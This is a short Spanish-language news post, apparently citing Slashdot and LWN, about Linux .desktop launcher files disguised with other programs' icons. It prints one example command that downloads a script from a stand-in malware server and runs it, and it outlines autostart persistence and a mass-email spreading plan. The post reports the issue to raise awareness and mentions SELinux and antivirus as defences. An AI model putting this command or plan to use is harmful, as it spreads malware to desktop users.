Linux Weekly News está discutiendo de manera amplia el problema, que de cierta manera permite a un atacante disfrazar un archivo .desktop con el icono de Inicio o cualquier programa. Básicamente el artículo de foobar sugiere explotar la confianza que tiene los usuarios de GNU/Linux en el sistemas, pero sin subestimarlos, utilizando archivos .desktop que se disfrazan con iconos de otras aplicaciones y que ejecutan guiones remotos, como el siguiente ejemplo:

% bash -c "curl http://www.some_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py"

El artículo también sugiere utilizar ~/.config/autostart y ~/.kde/Autostart para asegurarse que el guión se ejecute automáticamente en cada inicio de sesión.

La guía resumida, sugiere lo siguiente:

1. Escribir un código a la elección del atacante.
2. Implementar en éste último la capacidad de instalarse e iniciarse a si mismo.
3. Crear un archivo lanzador de escritorio para ejecutar el código.
4. Adjuntar el código a un correo electrónico.
5. Enviar el correo electrónico a cuantas direcciones de correo se pueda.

Todo esto ha puesto en alerta a muchos desarrolladores, que ahora comienzan a pensar y preocuparse de las medidas a utilizar. Este es posiblemente una buena excusa para volver a reactivar SELinux en los escritorios donde fue desactivado para mejorar rendimiento y comenzar a pensar como implementar un antivirus del mismo modo que se hace en Windows, solo por sanidad mental. En fin, los desarrolladores han vuelto a tocar el tema y es casi seguro que se hará algo al respecto en el futuro cercano (la menos eso esperamos).

Fuente: Slashdot.